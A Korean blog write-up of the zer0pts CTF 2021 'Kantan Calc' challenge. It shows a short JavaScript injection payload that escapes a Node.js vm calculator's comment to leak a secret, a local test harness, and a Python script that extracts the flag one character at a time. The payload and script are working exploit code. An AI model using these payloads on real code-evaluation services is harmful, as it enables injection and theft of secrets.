CTF/zer0pts CTF 2021
[Study] zer0pts CTF 2021 Kantan Calc Writeup
Vardy
2021. 3. 10. 23:20
주어진 페이지에 들어가보자.
계산기 기능을 하는 페이지와,
그 소스가 있다.
${code} 부분이 사용자 입력 값인데, 임의의 코드를 삽입해서 플래그값을 출력해주도록 하면 될 것 같다.
하지만 입력값의 최대 길이는 29이고,
플래그를 통째로 출력하려고 시도하면 zer0pts 문자열을 포함하면 에러를 출력하는 구문때문에 제한된다.
따라서 시나리오는
1. 29자 이하의 코드를 삽입하되,
2. 플래그를 한글짜씩 출력해야한다.
29자 이하의 코드만 삽입 가능하기 때문에 간단하게 함수를 정의하는 방법을 알아보다가 화살표 함수라는 것을 알게 되어 사용했으며,
/* ${FLAG} */ 부분을 통째로 문자열화시켜서 주석을 무효화시킴과 동시에 ${FLAG} 파라미터를 읽어오도록 하였다.
우선 로컬에서 테스트환경을 구축하여 풀이를 해보았다.
const vm = require('vm');
const FLAG = "zer0pts{~~~~~~~~~~~~~~~~~~~~~~~}";
const code = "(a)=>()=>(a+'')})()(()=>{";
if (code.length < 30) {
try {
const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
output = result + '';
console.log(output);
if (output.includes('zer0pts')) {
console.log("Filtering... " + result);
}
} catch (e) {
console.log(e);
}
}
else {
console.log("Too long! " + code.length);
}
위 코드를 통해 플래그를 불러올 수 있음을 확인하였다.
조금 자세히 설명을 하면, 입력값이 적용되면 코드가 아래처럼 작동하기 때문에 주석을 우회할 수 있다. 여기서 a+'' 의 의미는 toString과 같다. (화살표함수 표현 방식과 작동에 익숙해지려면 꽤 고생할 것 같다.)
(function () {
return (a)=>()=>(a+'')
})
()
(()=>{; /* ${FLAG} */ })
()
아래와 같이 로컬에서 payload가 유효함을 확인 한 후,
한 글자씩 모아서 출력하는 과정을 곁들여 최종적으로 아래 코드를 통해 플래그를 획득 할 수 있었다.
import requests
url = "http://web.ctf.zer0pts.com:8002/"
payload = "(a)=>()=>(a+'')[0]})()(()=>{"
payload = "(a)=>()=>(a+'')[0]})()(()=>{"
print(payload)
flag =''
for i in range(60):
payload = "(a)=>()=>(a+'')[" + str(i) + "]})()(()=>{"
#print(payload)
response = requests.get(url,{"code":payload})
#print(response.url)
if(response) :
res = response.text
flag += res[427:428]
else :
break;
print(flag)
FLAG = zer0pts{K4nt4n_m34ns_4dm1r4t1on_1n_J4p4n3s3}
반응형